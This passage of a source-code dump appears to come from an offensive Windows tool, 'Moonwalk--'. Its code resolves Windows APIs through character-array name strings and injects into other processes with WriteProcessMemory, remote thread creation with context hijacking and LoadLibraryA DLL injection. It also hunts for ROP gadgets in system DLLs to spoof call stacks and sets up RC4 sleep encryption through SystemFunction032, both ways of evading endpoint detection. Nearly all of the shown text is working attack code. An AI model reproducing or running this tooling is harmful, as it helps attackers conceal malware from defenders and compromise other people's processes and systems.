char* cpExportedFunctionName = (char*)(dllAddress + DEREF_32(namePointerTable)); 327 | if (my_strcmp(cpExportedFunctionName, lpProcName) == 0) { 328 | exportedAddressTable += (DEREF_16(ordinalTable) * sizeof(DWORD)); 329 | symbolAddress = (UINT64)(dllAddress + DEREF_32(exportedAddressTable)); 330 | break; 331 | } 332 | namePointerTable += sizeof(DWORD); 333 | ordinalTable += sizeof(WORD); 334 | } 335 | } 336 | 337 | return symbolAddress; 338 | } 339 | 340 | UINT64 GetSymbolOffset(HMODULE hModule, LPCSTR lpProcName) { 341 | UINT64 dllAddress = (UINT64)hModule, 342 | symbolAddress = 0, 343 | exportedAddressTable = 0, 344 | namePointerTable = 0, 345 | ordinalTable = 0; 346 | 347 | if (hModule == NULL) { 348 | return 0; 349 | } 350 | 351 | PIMAGE_NT_HEADERS ntHeaders = NULL; 352 | PIMAGE_DATA_DIRECTORY dataDirectory = NULL; 353 | PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL; 354 | 355 | ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew); 356 | dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 357 | exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + dataDirectory->VirtualAddress); 358 | 359 | exportedAddressTable = (dllAddress + exportDirectory->AddressOfFunctions); 360 | namePointerTable = (dllAddress + exportDirectory->AddressOfNames); 361 | ordinalTable = (dllAddress + exportDirectory->AddressOfNameOrdinals); 362 | 363 | if (((UINT64)lpProcName & 0xFFFF0000) == 0x00000000) { 364 | exportedAddressTable += ((IMAGE_ORDINAL((UINT64)lpProcName) - exportDirectory->Base) * sizeof(DWORD)); 365 | symbolAddress = (UINT64)DEREF_32(exportedAddressTable); 366 | } 367 | else { 368 | DWORD dwCounter = exportDirectory->NumberOfNames; 369 | while (dwCounter--) { 370 | char* cpExportedFunctionName = (char*)(dllAddress + DEREF_32(namePointerTable)); 371 | if (my_strcmp(cpExportedFunctionName, lpProcName) == 0) { 372 | exportedAddressTable += (DEREF_16(ordinalTable) * sizeof(DWORD)); 373 | symbolAddress = (UINT64)DEREF_32(exportedAddressTable); 374 | break; 375 | } 376 | namePointerTable += sizeof(DWORD); 377 | ordinalTable += sizeof(WORD); 378 | } 379 | } 380 | 381 | return symbolAddress; 382 | } 383 | 384 | char* GetSymbolNameByOffset(HMODULE hModule, UINT64 offset) { 385 | UINT64 dllAddress = (UINT64)hModule, 386 | symbolAddress = 0; 387 | 388 | if (hModule == NULL) { 389 | return 0; 390 | } 391 | 392 | PIMAGE_NT_HEADERS ntHeaders = NULL; 393 | PIMAGE_DATA_DIRECTORY dataDirectory = NULL; 394 | PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL; 395 | 396 | ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew); 397 | dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 398 | exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + dataDirectory->VirtualAddress); 399 | 400 | LPDWORD exportedAddressTable = (LPDWORD)(dllAddress + exportDirectory->AddressOfFunctions); 401 | LPDWORD namePointerTable = (LPDWORD)(dllAddress + exportDirectory->AddressOfNames); 402 | LPWORD ordinalTable = (LPWORD)(dllAddress + exportDirectory->AddressOfNameOrdinals); 403 | 404 | char* currProcName; 405 | 406 | for (SIZE_T i = 0; i < exportDirectory->NumberOfNames; i++) { 407 | // Get current function name 408 | currProcName = (LPSTR)((LPBYTE)hModule + namePointerTable[i]); 409 | 410 | // Get current function address 411 | if (exportedAddressTable[ordinalTable[i]] == offset) { 412 | return currProcName; 413 | } 414 | 415 | } 416 | 417 | return NULL; 418 | } 419 | 420 | 421 | PVOID GetExceptionDirectoryAddress(HMODULE hModule, DWORD* tSize) 422 | { 423 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; 424 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD64)hModule + dosHeader->e_lfanew); 425 | DWORD64 exceptionDirectoryRVA = ntHeader->OptionalHeader.DataDirectory[3].VirtualAddress; 426 | *tSize = ntHeader->OptionalHeader.DataDirectory[3].Size; 427 | DWORD64 imageExceptionDirectory = (DWORD64)((DWORD_PTR)hModule + exceptionDirectoryRVA); 428 | return (PVOID)imageExceptionDirectory; 429 | 430 | } 431 | 432 | PVOID GetExportDirectoryAddress(HMODULE hModule) 433 | { 434 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; 435 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD64)hModule + dosHeader->e_lfanew); 436 | DWORD_PTR exportDirectoryRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 437 | DWORD64 imageExportDirectory = (DWORD64)((DWORD_PTR)hModule + exportDirectoryRVA); 438 | 439 | return (PVOID)imageExportDirectory; 440 | } 441 | 442 | HANDLE PICGetProcessHeap() { 443 | HMODULE hModule = (HMODULE)GetModule(KERNEL32DLL_HASH); 444 | GetProcessHeapType GetProcessHeapFp; 445 | CHAR GetProcessHeapName[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 'H', 'e', 'a', 'p', '\0' }; 446 | GetProcessHeapFp = (GetProcessHeapType)GetProcAddress(hModule, GetProcessHeapName); 447 | return GetProcessHeapFp(); 448 | } 449 | 450 | PVOID PICHeapAlloc(SIZE_T nBytes) { 451 | HMODULE hModule = (HMODULE)GetModule(KERNEL32DLL_HASH); 452 | HeapAllocType HeapAllocFp; 453 | CHAR HeapAllocName[] = { 'H', 'e', 'a', 'p', 'A', 'l', 'l', 'o', 'c', '\0' }; 454 | HeapAllocFp = (HeapAllocType)GetProcAddress(hModule, HeapAllocName); 455 | 456 | return HeapAllocFp(PICGetProcessHeap(), 0, nBytes); 457 | 458 | 459 | } 460 | BOOL PICHeapFree(LPVOID mem) { 461 | HMODULE hModule = (HMODULE)GetModule(KERNEL32DLL_HASH); 462 | HeapFreeType HeapFreeFp; 463 | CHAR HeapFreeName[] = { 'H', 'e', 'a', 'p', 'F', 'r', 'e', 'e', '\0' }; 464 | HeapFreeFp = (HeapFreeType)GetProcAddress(hModule, HeapFreeName); 465 | return HeapFreeFp(PICGetProcessHeap(), 0, mem); 466 | } 467 | 468 | PVOID PICHeapRealloc(LPVOID mem, SIZE_T nBytes) { 469 | HMODULE hModule = (HMODULE)GetModule(KERNEL32DLL_HASH); 470 | HeapReAllocType HeapReAllocFp; 471 | CHAR HeapReAllocName[] = { 'H', 'e', 'a', 'p', 'R', 'e', 'A', 'l', 'l', 'o', 'c', '\0' }; 472 | HeapReAllocFp = (HeapReAllocType)GetProcAddress(hModule, HeapReAllocName); 473 | 474 | return HeapReAllocFp(PICGetProcessHeap(), 0, mem, nBytes); 475 | 476 | } 477 | 478 | BOOL PICVirtualFree(LPVOID lpBaseAddress) { 479 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH); 480 | 481 | CHAR VirtualFreeName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e', '\0' }; 482 | VirtualFreeType VirtualFreeFp; 483 | VirtualFreeFp = (VirtualFreeType)GetSymbolAddress(hModule, VirtualFreeName); 484 | 485 | return VirtualFreeFp(lpBaseAddress, 0, MEM_RELEASE); 486 | 487 | } 488 | 489 | PVOID PICVirtualAlloc(SIZE_T dwSize, DWORD protection) { 490 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH); 491 | 492 | CHAR VirtualAllocName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', '\0' }; 493 | VirtualAllocType VirtualAllocFp; 494 | VirtualAllocFp = (VirtualAllocType)GetSymbolAddress(hModule, VirtualAllocName); 495 | 496 | return VirtualAllocFp(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, protection); 497 | 498 | } 499 | 500 | PVOID PICVirtualAllocEx(HANDLE pHandle, SIZE_T dwSize, DWORD protection) { 501 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH); 502 | 503 | CHAR VirtualAllocExName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 'E', 'x', '\0' }; 504 | VirtualAllocExType VirtualAllocFp; 505 | VirtualAllocFp = (VirtualAllocExType)GetSymbolAddress(hModule, VirtualAllocExName); 506 | 507 | return VirtualAllocFp(pHandle, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, protection); 508 | 509 | } 510 | 511 | BOOL PICVirtualProtectEx(HANDLE pHandle, LPVOID lpBaseAddress, SIZE_T dwSize, DWORD protection) { 512 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH); 513 | 514 | CHAR VirtualProtectExName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 'E', 'x', '\0' }; 515 | VirtualProtectExType VirtualProtectFp; 516 | VirtualProtectFp = (VirtualProtectExType)GetSymbolAddress(hModule, VirtualProtectExName); 517 | DWORD oldProtection; 518 | return VirtualProtectFp(pHandle, lpBaseAddress, dwSize, protection, &oldProtection); 519 | 520 | } 521 | 522 | 523 | PVOID PICCreateThread(LPVOID lpStartAddress, LPVOID fakeStartAddress, LPVOID lpParameter) { 524 | CONTEXT ctx; 525 | BOOL ctxRet = FALSE; 526 | 527 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH); 528 | HMODULE ntModule = (HMODULE)GetModule(NTDLL_HASH); 529 | 530 | CHAR CreateThreadName[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x', '\0' }; 531 | CHAR GetThreadContextName[] = { 'G', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't', '\0' }; 532 | CHAR SetThreadContextName[] = { 'S', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't', '\0' }; 533 | CHAR ResumeThreadName[] = { 'R', 'e', 's', 'u', 'm', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' }; 534 | 535 | NtCreateThreadExType NtCreateThreadExFp; 536 | GetThreadContextType GetThreadContextFp; 537 | SetThreadContextType SetThreadContextFp; 538 | ResumeThreadType ResumeThreadFp; 539 | 540 | ctx.ContextFlags = CONTEXT_ALL; 541 | 542 | NtCreateThreadExFp = (NtCreateThreadExType)GetSymbolAddress(ntModule, CreateThreadName); 543 | 544 | GetThreadContextFp = (GetThreadContextType)GetSymbolAddress(kbModule, GetThreadContextName); 545 | SetThreadContextFp = (SetThreadContextType)GetSymbolAddress(kbModule, SetThreadContextName); 546 | ResumeThreadFp = (ResumeThreadType)GetSymbolAddress(kbModule, ResumeThreadName); 547 | 548 | HANDLE hThread = INVALID_HANDLE_VALUE; 549 | 550 | NTSTATUS status = NtCreateThreadExFp(&hThread, THREAD_ALL_ACCESS, 0, (HANDLE)-1, (LPTHREAD_START_ROUTINE)fakeStartAddress /* Start address */, 0, 0x1 /* Suspended */, 0, 0, 0, 0); 551 | 552 | // __debugbreak(); 553 | ctxRet = GetThreadContextFp(hThread, &ctx); 554 | if (!ctxRet) { 555 | return NULL; 556 | } 557 | 558 | ctx.Rcx = (DWORD64)lpStartAddress; 559 | ctx.R9 = (DWORD64)lpParameter; 560 | 561 | ctxRet = SetThreadContextFp(hThread, &ctx); 562 | if (!ctxRet) { 563 | return NULL; 564 | } 565 | 566 | ResumeThreadFp(hThread); 567 | 568 | return (PVOID)hThread; 569 | } 570 | 571 | HANDLE PICOpenProcess(DWORD pPid) { 572 | 573 | HANDLE hProcess = (HANDLE)-1; 574 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH); 575 | OpenProcessType OpenProcessFp; 576 | CHAR OpenProcessName[] = { 'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's', '\0' }; 577 | OpenProcessFp = (OpenProcessType)GetSymbolAddress(kbModule, OpenProcessName); 578 | hProcess = OpenProcessFp(PROCESS_ALL_ACCESS|PROCESS_VM_OPERATION, FALSE, pPid); 579 | return hProcess; 580 | } 581 | 582 | SIZE_T PICCopyMemory(HANDLE pHandle, LPVOID lpAddress, LPCVOID lpBuffer, SIZE_T dwSize) { 583 | 584 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH); 585 | WriteProcessMemoryType WriteProcessMemoryFp; 586 | CHAR WriteProcessMemoryName[] = { 'W', 'r', 'i', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'M', 'e', 'm', 'o', 'r', 'y', '\0' }; 587 | WriteProcessMemoryFp = (WriteProcessMemoryType)GetProcAddress(kbModule, WriteProcessMemoryName); 588 | SIZE_T bytesWritten; 589 | WriteProcessMemoryFp(pHandle, lpAddress, lpBuffer, dwSize, &bytesWritten); 590 | 591 | return bytesWritten; 592 | } 593 | 594 | PVOID PICInjectDllProcess(HANDLE hProcess, LPVOID lpLibraryNameAddress) { 595 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH); 596 | HMODULE ntModule = (HMODULE)GetModule(NTDLL_HASH); 597 | HANDLE hThread = INVALID_HANDLE_VALUE; 598 | 599 | CHAR CreateThreadName[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x', '\0' }; 600 | CHAR LoadLibraryAName[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' }; 601 | 602 | NtCreateThreadExType NtCreateThreadExFp; 603 | LoadLibraryAType LoadLibraryAFp; 604 | 605 | NtCreateThreadExFp = (NtCreateThreadExType)GetSymbolAddress(ntModule, CreateThreadName); 606 | LoadLibraryAFp = (LoadLibraryAType)GetSymbolAddress(kbModule, LoadLibraryAName); 607 | 608 | NTSTATUS status = NtCreateThreadExFp( 609 | &hThread, THREAD_ALL_ACCESS, 0, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryAFp /* Start address */, (LPVOID)lpLibraryNameAddress, FALSE, 0, 0, 0, 0 610 | ); 611 | 612 | return (PVOID)hThread; 613 | } 614 | 615 | PVOID PICCreateRemoteThread(HANDLE hProcess, LPVOID lpStartAddress, LPVOID fakeStartAddress, LPVOID lpParameter) { 616 | CONTEXT ctx; 617 | BOOL ctxRet = FALSE; 618 | 619 | HMODULE kbModule = (HMODULE)GetModule(KERNELBASE_HASH); 620 | HMODULE ntModule = (HMODULE)GetModule(NTDLL_HASH); 621 | 622 | CHAR CreateThreadName [] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x', '\0' }; 623 | CHAR GetThreadContextName[] = { 'G', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't', '\0' }; 624 | CHAR SetThreadContextName[] = { 'S', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't', '\0' }; 625 | CHAR ResumeThreadName [] = { 'R', 'e', 's', 'u', 'm', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' }; 626 | 627 | NtCreateThreadExType NtCreateThreadExFp; 628 | GetThreadContextType GetThreadContextFp; 629 | SetThreadContextType SetThreadContextFp; 630 | ResumeThreadType ResumeThreadFp; 631 | 632 | ctx.ContextFlags = CONTEXT_ALL; 633 | 634 | NtCreateThreadExFp = (NtCreateThreadExType)GetSymbolAddress(ntModule, CreateThreadName); 635 | 636 | GetThreadContextFp = (GetThreadContextType)GetSymbolAddress(kbModule, GetThreadContextName); 637 | SetThreadContextFp = (SetThreadContextType)GetSymbolAddress(kbModule, SetThreadContextName); 638 | ResumeThreadFp = (ResumeThreadType)GetSymbolAddress(kbModule, ResumeThreadName); 639 | 640 | HANDLE hThread = INVALID_HANDLE_VALUE; 641 | 642 | NTSTATUS status = NtCreateThreadExFp(&hThread, THREAD_ALL_ACCESS, 0, hProcess, (LPTHREAD_START_ROUTINE)fakeStartAddress /* Start address */, 0, 0x1 /* Suspended */, 0, 0, 0, 0); 643 | 644 | // __debugbreak(); 645 | ctxRet = GetThreadContextFp(hThread, &ctx); 646 | if (!ctxRet) { 647 | return NULL; 648 | } 649 | 650 | ctx.Rcx = (DWORD64)lpStartAddress; 651 | ctx.R15 = (DWORD64)lpParameter; 652 | 653 | ctxRet = SetThreadContextFp(hThread, &ctx); 654 | if (!ctxRet) { 655 | return NULL; 656 | } 657 | 658 | ResumeThreadFp(hThread); 659 | 660 | return (PVOID)hThread; 661 | } 662 | 663 | BOOL PICTerminateThread(HANDLE hThread) { 664 | HMODULE hModule = (HMODULE)GetModule(KERNELBASE_HASH); 665 | 666 | CHAR TerminateThreadName[] = { 'T', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' }; 667 | TerminateThreadType TerminateThreadFp; 668 | TerminateThreadFp = (TerminateThreadType)GetProcAddress(hModule, TerminateThreadName); 669 | 670 | return TerminateThreadFp(hThread, 0); 671 | 672 | } 673 | 674 | 675 | int atoi(char* str) 676 | { 677 | // Initialize result 678 | int res = 0; 679 | int start_index = 0; 680 | // Iterate through all characters 681 | // of input string and update result 682 | // take ASCII character of corresponding digit and 683 | // subtract the code from '0' to get numerical 684 | // value and multiply res by 10 to shuffle 685 | // digits left to update running total 686 | for (int i = 0; str[i] != '\0'; i++) 687 | if ((str[i] == ' ') || (str[i] == '\0')){ 688 | start_index = i + 1; 689 | break; 690 | } 691 | 692 | for (int i = start_index; str[i] != '\0'; ++i){ 693 | if ((str[i] == '0') || (str[i] == '1') || (str[i] == '2') || (str[i] == '3') || (str[i] == '4') || (str[i] == '5') || (str[i] == '6') || (str[i] == '7') || (str[i] == '8') || (str[i] == '9')){ 694 | res = res * 10 + str[i] - '0'; 695 | } 696 | } 697 | 698 | // return result. 699 | return res; 700 | } 701 | 702 | -------------------------------------------------------------------------------- /Moonwalk--/Moonlight.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "include/Common.h" 3 | #include "include/Functions.h" 4 | #include "include/Spoof.h" 5 | #include 6 | 7 | 8 | // Define is output needs to be shown, you can disable it in "Common.h", to avoid _vsprinf symobol 9 | #ifndef _OUTPUT 10 | #define _OUTPUT 1 11 | #endif // !_OUTPUT 12 | 13 | // Define the target function 14 | // 0: Sleep 15 | // 1: MessageBox 16 | // 2: ShellExecuteA 17 | // 3: CreateProcessA 18 | 19 | #define TARGET 1 20 | 21 | #define SPOOF_CALL spoof_call 22 | 23 | #define RESEARCH 0 24 | 25 | #pragma intrinsic(_ReturnAddress) 26 | #if (RESEARCH == 1) 27 | #pragma comment(linker, "/ENTRY:research_main") 28 | #else 29 | #pragma comment(linker, "/ENTRY:main_main") 30 | #endif 31 | 32 | 33 | PSPOOFER sConfig; 34 | PVOID returnAddress; 35 | PVOID startAddress; 36 | 37 | VOID FindSuitableChain(); 38 | BOOL CheckForGadget(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD stackSize, PDWORD skip, DWORD gadgetType); 39 | BOOL FindCallOffset(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD pdwCallOffset, PUINT64 pCalledFunctionAddress, PDWORD skip); 40 | BOOL CheckPushRbp(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD stackSize); 41 | 42 | // Entry Point 43 | void research_main() { 44 | FindSuitableChain(); 45 | 46 | } 47 | 48 | void main_main(int argc, char* argv[]) { 49 | PERF pRuntimeFunctionTable; 50 | PERF pRuntimeFunctionTableNotepad; 51 | PERF pRuntimeFunctionTableWininet; 52 | DWORD runtimeFunctionTableSize; 53 | DWORD runtimeFunctionTableSizeNotepad; 54 | DWORD runtimeFunctionTableSizeWininet; 55 | DWORD rtSaveIndex; 56 | DWORD rtLastIndex; 57 | DWORD rtSaveIndexWininet; 58 | DWORD rtLastIndexWininet; 59 | DWORD rtLastIndexNotepad; 60 | DWORD rtSaveIndexNotepad; 61 | DWORD stackSize; 62 | DWORD stackOffsetWhereRbpIsPushed; 63 | DWORD64 rtTargetOffset; 64 | DWORD64 rtTargetOffsetNotepad; 65 | HMODULE kernel32Base; 66 | HMODULE kernelBase; 67 | HMODULE ntdllBase; 68 | BOOL status; 69 | BOOL checkpoint; 70 | HMODULE msvcrt; 71 | HMODULE user32; 72 | HMODULE shell32; 73 | HMODULE cryptsp; 74 | HMODULE wininet; 75 | HMODULE processImage; 76 | HANDLE pHandle; 77 | DWORD addRspGadget; 78 | DWORD skip_jmp_gadget = 0; 79 | DWORD skip_stack_pivot_gadget = 0; 80 | DWORD skip_prolog_frame = 0; 81 | DWORD skip_pop_rsp_frame = 0; 82 | DWORD pPid = 0; 83 | // Needed for ensuring target modules are loaded 84 | DLL mainModule = { 0 }; 85 | LoadLibraryAType LoadLibraryAFp; 86 | SleepType SleepFp; 87 | KillProcType TerminateProcessFp; 88 | 89 | CHAR LoadLibraryAName[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' }; 90 | CHAR SleepName[] = { 'S', 'l', 'e', 'e', 'p', '\0' }; 91 | CHAR TerminateProcessName[] = { 'T', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', '\0' }; 92 | CHAR VirtualProtectName[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', '\0' }; 93 | CHAR SystemFunctionName[] = { 'S', 'y', 's', 't', 'e', 'm', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', '0', '3', '2', '\0' }; 94 | // Target Libraries 95 | CHAR User32Name[] = { 'U', 's', 'e', 'r', '3', '2', '\0' }; 96 | CHAR MsvCRTName[] = { 'm', 's', 'v', 'c', 'r', 't', '\0' }; 97 | CHAR Shell32Name[] = { 'S', 'h', 'e', 'l', 'l', '3', '2', '\0' }; 98 | CHAR CryptspName[] = { 'c', 'r', 'y', 'p', 't', 's', 'p', '\0' }; 99 | 100 | // Pseudo-Seed 101 | unsigned long int seed; 102 | 103 | ntdllBase = (HMODULE)GetModule(NTDLL_HASH); 104 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH); 105 | kernel32Base = (HMODULE)GetModule(KERNEL32DLL_HASH); 106 | wininet = LoadLibraryA("Wininet"); 107 | processImage = LoadLibraryA("C:\\Program Files\\Microsoft OneDrive\\OneDrive.exe"); 108 | 109 | pRuntimeFunctionTable = (PERF)(GetExceptionDirectoryAddress(kernelBase, &runtimeFunctionTableSize)); 110 | rtLastIndex = (DWORD)(runtimeFunctionTableSize/12); 111 | pRuntimeFunctionTableWininet = (PERF)(GetExceptionDirectoryAddress(wininet, &runtimeFunctionTableSizeWininet)); 112 | rtLastIndexWininet = (DWORD)(runtimeFunctionTableSizeWininet /12); 113 | pRuntimeFunctionTableNotepad = (PERF)(GetExceptionDirectoryAddress(processImage, &runtimeFunctionTableSizeNotepad)); 114 | rtLastIndexNotepad = (DWORD)(runtimeFunctionTableSizeNotepad/12); 115 | rtSaveIndex = 0; 116 | rtSaveIndexNotepad = 0; 117 | rtSaveIndexWininet = 0; 118 | stackSize = 0; 119 | rtTargetOffset = 0; 120 | rtTargetOffsetNotepad = 0; 121 | status = 0; 122 | checkpoint = 0; 123 | addRspGadget = ADD_RSP_0x38; 124 | 125 | LPSTR cmdline = GetCommandLineA(); 126 | printf("[+] CLI: %s\n", cmdline); 127 | pPid = atoi(cmdline); 128 | printf("[+] PID: %d\n", pPid); 129 | pHandle = PICOpenProcess(pPid); 130 | 131 | PVOID remoteNotepad = (PVOID) GetRemoteImageBase(pPid); 132 | 133 | 134 | if (NULL == pHandle) { 135 | printf("[-] Failed to open process\n"); 136 | return; 137 | } 138 | 139 | // Load LoadLibraryA to load additional modules 140 | LoadLibraryAFp = (LoadLibraryAType)GetSymbolAddress(kernel32Base, LoadLibraryAName); 141 | SleepFp = (SleepType)GetSymbolAddress(kernel32Base, SleepName); 142 | TerminateProcessFp = (KillProcType)GetSymbolAddress(kernel32Base, TerminateProcessName); 143 | // Load msvcrt (for getchar) 144 | msvcrt = LoadLibraryAFp((LPCSTR)MsvCRTName); 145 | // Load user32 (for MessageBox) 146 | user32 = LoadLibraryAFp((LPCSTR)User32Name); 147 | // Load shell32 (for ShellExecute) 148 | shell32 = LoadLibraryAFp((LPCSTR)Shell32Name); 149 | // Load shell32 (for ShellExecute) 150 | cryptsp = LoadLibraryAFp((LPCSTR)CryptspName); 151 | 152 | // Get main module 153 | GetModuleTextSection(&mainModule); 154 | 155 | 156 | CHAR getcharName[] = { 'g', 'e', 't', 'c', 'h', 'a', 'r', '\0' }; 157 | getcharType getcharFp; 158 | getcharFp = (getcharType)GetProcAddress(msvcrt, getcharName); 159 | 160 | // Init Spoofer Configuration 161 | 162 | UCHAR key[] = { 'M', 'y', 'T', 'e', 's', 't', '1', '\0' }; 163 | 164 | sConfig = (PSPOOFER)malloc(sizeof(SPOOFER)); 165 | custom_memset(sConfig, 0, sizeof(SPOOFER)); 166 | 167 | MemCopy(&sConfig->Key, key, sizeof(key)); 168 | 169 | sConfig->KeyStruct.MaximumLength = sizeof(key); 170 | sConfig->KeyStruct.Length = sizeof(key); 171 | sConfig->KeyStruct.Buffer = (PUCHAR) &sConfig->Key; 172 | 173 | sConfig->KeyStructPointer = (PVOID)&sConfig->KeyStruct; 174 | 175 | BYTE popRegsPattern[] = { 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3 }; 176 | BYTE addRsp0x28Pattern[] = { 0x48, 0x83, 0xc4, 0x28, 0xc3 }; 177 | BYTE popRdxPattern[] = { 0x5A, 0xC3 }; 178 | BYTE retPattern[] = { 0xC3, 0xCC }; 179 | BYTE movRspR11Pattern[] = { 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5d, 0xc3 }; 180 | BYTE bigAddRspPattern[] = { 0x48, 0x81, 0xc4, 0xCC, 0xCC, 0xCC, 0xCC, 0xc3 }; 181 | 182 | 183 | HMODULE baseDlls[7] = { 184 | kernel32Base, 185 | ntdllBase, 186 | kernelBase, 187 | user32, 188 | msvcrt, 189 | shell32, 190 | cryptsp 191 | }; 192 | int dllIndex = 0; 193 | // Save known gadgets 194 | while (sConfig->PopRdxGadget == NULL) { 195 | // Search for the POP RDX gadget in kernel32 and ntdll 196 | if (dllIndex > 6) 197 | break; 198 | SearchGadget(baseDlls[dllIndex], popRdxPattern, sizeof(popRdxPattern), &sConfig->PopRdxGadget, 0); 199 | dllIndex++; 200 | } 201 | 202 | PVOID superAddRspGadget = PICVirtualAllocEx(pHandle, 0x8, PAGE_READWRITE); 203 | printf("Allocated memory: 0x%p\n", superAddRspGadget); 204 | 205 | sConfig->RetGadget = (PVOID)((UINT64)sConfig->PopRdxGadget + 1); 206 | 207 | SearchGadget(ntdllBase, popRegsPattern, sizeof(popRegsPattern), &sConfig->PopRegsGadget, 0); 208 | SearchGadget(ntdllBase, addRsp0x28Pattern, sizeof(addRsp0x28Pattern), &sConfig->AddRsp28Gadget, 0); 209 | SearchGadget(ntdllBase, movRspR11Pattern, sizeof(movRspR11Pattern), &sConfig->MovRspR11Gadget, 0); 210 | 211 | PVOID localGadget; 212 | DWORD imm32 = NULL; 213 | DWORD offset = 0; 214 | 215 | int dllIdx = 0; 216 | while (sConfig->SuperAddRspGadget == NULL) { 217 | while (SearchGadget(baseDlls[dllIdx], bigAddRspPattern, sizeof(bigAddRspPattern), &localGadget, &offset)) { 218 | imm32 = *(DWORD*)((BYTE*)localGadget + 3); 219 | 220 | if (imm32 > MINIMUM_JUMP_SIZE) { 221 | PICCopyMemory(pHandle, superAddRspGadget, &localGadget, 8); 222 | sConfig->SuperAddRspGadget = superAddRspGadget; 223 | sConfig->SuperAddRspGadgetSize = imm32; 224 | break; 225 | } 226 | } 227 | offset = 0; 228 | dllIdx++; 229 | } 230 | 231 | printf("POP RDX Gadget: 0x%I64x\n", sConfig->PopRdxGadget); 232 | printf("RET Gadget: 0x%I64x\n", sConfig->RetGadget); 233 | printf("POP REGS Gadget: 0x%I64x\n", sConfig->PopRegsGadget); 234 | printf("ADD RSP, 28h Gadget: 0x%I64x\n", sConfig->AddRsp28Gadget); 235 | printf("ADD RSP, 0x%04x Gadget: 0x%I64x\n", sConfig->SuperAddRspGadgetSize, sConfig->SuperAddRspGadget); 236 | printf("MOV RSP, R11 Gadget: 0x%I64x\n", sConfig->MovRspR11Gadget); 237 | 238 | 239 | sConfig->SystemFunction032Address = (PVOID)GetSymbolAddress(cryptsp, SystemFunctionName); 240 | sConfig->VirtualProtectAddress = (PVOID)GetSymbolAddress(kernel32Base, VirtualProtectName); 241 | 242 | // Configuring random seed 243 | seed = SEED; 244 | 245 | STARTUPINFO si; 246 | PROCESS_INFORMATION pi; 247 | 248 | // set the size of the structures 249 | custom_memset(&si, 0, sizeof(si)); 250 | si.cb = sizeof(si); 251 | custom_memset(&pi, 0, sizeof(pi)); 252 | 253 | // Example parameters 254 | 255 | if (TARGET == 0) { 256 | // Config for getchar (No parameter) 257 